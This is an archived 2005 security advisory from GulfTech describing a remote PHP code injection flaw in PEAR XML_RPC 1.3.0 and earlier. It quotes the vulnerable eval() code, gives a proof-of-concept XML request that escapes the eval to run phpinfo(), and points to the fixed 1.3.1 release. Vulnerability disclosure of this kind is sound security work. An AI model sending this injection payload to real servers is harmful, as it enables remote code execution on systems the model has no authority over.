what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

pear130.txt

pear130.txt
Posted Jul 1, 2005
Authored by James Bercegay | Site gulftech.org

PEAR XML_RPC is vulnerable to a very high risk PHP code injection vulnerability due to unsanitized data being passed into an eval() call. Versions 1.3.0 and below are affected.

tags | exploit, php
SHA-256 | 3793d7664e029e03c9787f198abb53e4415460735b9d7326c818daf85564aa6a

pear130.txt

Change Mirror Download
##########################################################
# GulfTech Security Research June 29th, 2005
##########################################################
# Vendor : The PEAR Group
# URL : http://pear.php.net/package/XML_RPC/
# Version : PEAR XML_RPC 1.3.0 && Earlier
# Risk : Remote Command Execution
##########################################################



Description:
PEAR XML_RPC is a PHP implementation of the XML-RPC web RPC protocol,
and used by many different developers across the world. PEAR XML_RPC
was originally developed by Edd Dumbill of Useful Information Company,
but has since been expanded by several individuals. Unfortunately PEAR
XML_RPC is vulnerable to a remote php code execution vulnerability that
may allow for an attacker to compromise a vulnerable server. Version
1.3.1 has been released to address these issues.



Remote Command Execution:
PEAR XML_RPC is vulnerable to a very high risk php code injection
vulnerability
due to unsanatized data being passed into an eval() call. Let us have a
look at
the code that allows the vulnerability to present itself.

// decompose incoming XML into request structure
xml_parser_set_option($parser_resource, XML_OPTION_CASE_FOLDING, true);
xml_set_element_handler($parser_resource, 'XML_RPC_se', 'XML_RPC_ee');
xml_set_character_data_handler($parser_resource, 'XML_RPC_cd');
if (!xml_parse($parser_resource, $data, 1)) {
// return XML error as a faultCode
$r = new XML_RPC_Response(0,

$XML_RPC_errxml+xml_get_error_code($parser_resource),
sprintf('XML error: %s at line %d',

xml_error_string(xml_get_error_code($parser_resource)),

xml_get_current_line_number($parser_resource)));
xml_parser_free($parser_resource);
} else {
xml_parser_free($parser_resource);
$m = new XML_RPC_Message($XML_RPC_xh[$parser]['method']);
// now add parameters in
for ($i = 0; $i < sizeof($XML_RPC_xh[$parser]['params']); $i++) {
// print '<!-- ' . $XML_RPC_xh[$parser]['params'][$i]. "-->\n";
$plist .= "$i - " . $XML_RPC_xh[$parser]['params'][$i] . " \n";
eval('$m->addParam(' . $XML_RPC_xh[$parser]['params'][$i] . ');');
}
XML_RPC_Server_debugmsg($plist);

The for() loop that holds the vulnerable eval() call is used to build
the request
from an incoming POST containing an XML document. There is really no
type of checks
or sanitation done prior to this point, and the fact that
magic_quotes_gpc does not
apply makes it that much easier for this issue to be exploited.

<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
<params>
<param>
<value><name>','')); phpinfo(); exit;/*</name></value>
</param>
</params>
</methodCall>

The above xml file when posted to the vulnerable server will cause the
phpinfo()
function call to be executed on the vulnerable server.



Solution:
PEAR XML_RPC 1.3.1 has been released to address this issue and can be
found at

http://pear.php.net/package/XML_RPC/download/1.3.1

Both users and developers alike are strongly advised to upgrade immediately!



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00087-07012005


TikiWiki
http://tikiwiki.org/Download

PostNuke
http://news.postnuke.com/modules.php?op=modload&name=News&file=article&sid=2699

Drupal
http://drupal.org/drupal-4.6.2

b2evolution
http://b2evolution.net/downloads/index.html

b2
http://cafelog.com/

phpGroupWare
http://downloads.phpgroupware.org/

eGroupware
http://sourceforge.net/project/showfiles.php?group_id=78745

Serendipity Weblog
http://www.s9y.org/

phpAdsNew
http://phpadsnew.com/two/

Max Media Manager
http://max.awarez.net/



Credits:
James Bercegay of the GulfTech Security Research Team

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close